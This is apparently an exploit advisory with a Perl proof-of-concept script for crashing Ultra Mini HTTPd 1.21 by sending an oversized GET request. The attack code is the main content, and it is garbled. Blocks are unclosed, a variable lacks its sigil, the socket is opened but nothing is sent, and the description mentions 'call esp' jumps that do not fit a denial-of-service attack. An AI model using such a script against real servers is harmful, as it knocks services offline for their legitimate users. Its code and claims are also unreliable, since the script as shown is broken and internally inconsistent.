# Exploit Title: Ultra Mini HTTPd 1.21 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 2024-01-01  
# Vendor Homepage:  
# Software Link:  
# Notification vendor: Yes reported  
# Tested Version: Ultra Mini HTTPd 1.21  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo:  
#1. Description  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data via GET.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
#2. Proof of Concept - PoC  
if ($sis eq "windows"){  
} else {  
print "[+] Exploiting... \n";  
my $buffer = "\x41"x192;  
my $payload = 'A' x 5438 . $buffer;  
my $i=0;  
while (i < 1) {  
my $socket = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
) or die "Can't connect!!!!! \n\n";  
my $payload = "GET / $payload HTTP/1.1\r\nHost:$ip\r\n\r\n";  
print "[+] Exploited success!!!!!\n\n";  
sub intro {  
print "***************************************************\n";  
print "* Ultra Mini HTTPd 1.21 - Denied of Service *\n";  
print "* *\n";  
print "* Coded by Fernando Mengali *\n";  
print "* *\n";  
print "* e-mail: fernando.mengalli\ *\n";  
print "* *\n";  
print "***************************************************\n";  
sub main {  
our ($ip, $port) = @ARGV;  
unless (defined($ip) && defined($port)) {  
print " \nUsage: $0 <ip> <port> \n";  
#3. Solution/ How to fix:  
# This version product is deprecated.